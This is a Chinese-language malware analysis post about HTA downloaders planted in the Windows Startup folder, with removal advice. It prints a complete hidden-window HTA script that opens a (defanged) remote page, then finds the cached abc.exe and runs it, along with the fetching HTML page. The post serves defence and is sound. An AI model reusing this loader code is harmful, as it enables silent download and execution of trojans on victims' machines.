最近几天接连遇见HTA（HTML Application的缩写，HTML应用程序）编写的病毒下载器，主要是以下这两个： C:\Documents and Settings\All Users\「开始」菜单\程序\启动\Windows.hta C:\Documents and Settings\All Users\「开始」菜单\程序\启动\Server.hta 以Windows.hta为例，看下代码： ============================================================= <html><body><script>window.moveTo(4000,4000);window.resizeTo(0,0);var shell=new ActiveXObject("wscript.shell");shell.Run("C:\\Progra~1\\Intern~1\\IEXPLORE.EXE hxxp://www.if56.cn/lo/downmm.html",0,0);function runmm(){var path=shell.SpecialFolders("MyDocuments");var savepath=path.substring(0,path.lastIndexOf("\\"));savepath+="\\Local Settings\\Temporary Internet Files\\Content.IE5\\";var sp=new ActiveXObject("shell.application");var Folders=sp.NameSpace(savepath);for(i=0;i<Folders.Items().Count;i++){var Folder=Folders.Items().Item(i).Path;Folder+="\\abc[1].exe";try{shell.Exec(Folder);}catch(e){};}window.close();};shell.Run("cmd.exe /c tree c:\\ /f",0,1);runmm();</script></body></html> ============================================================= 程序随机自启动，成功执行后连接到地址hxxp://www.if56.cn/lo/downmm.html下载木马，downmm.html代码如下： ============================================================= <html> <title> downmm </title> <script src="abc.exe"></script> <body> start download............................. </body> </html> ============================================================= 这个abc.exe经过avast扫描，发现木马病毒：WIN32:Nilage-AI 解决办法： 如果防火墙提示Windows.hta 或 Server.hta 访问网络，即是中毒的表现，解决办法很简单，删除C:\Documents and Settings\All Users\「开始」菜单\程序\启动\里面的文件即可。 |
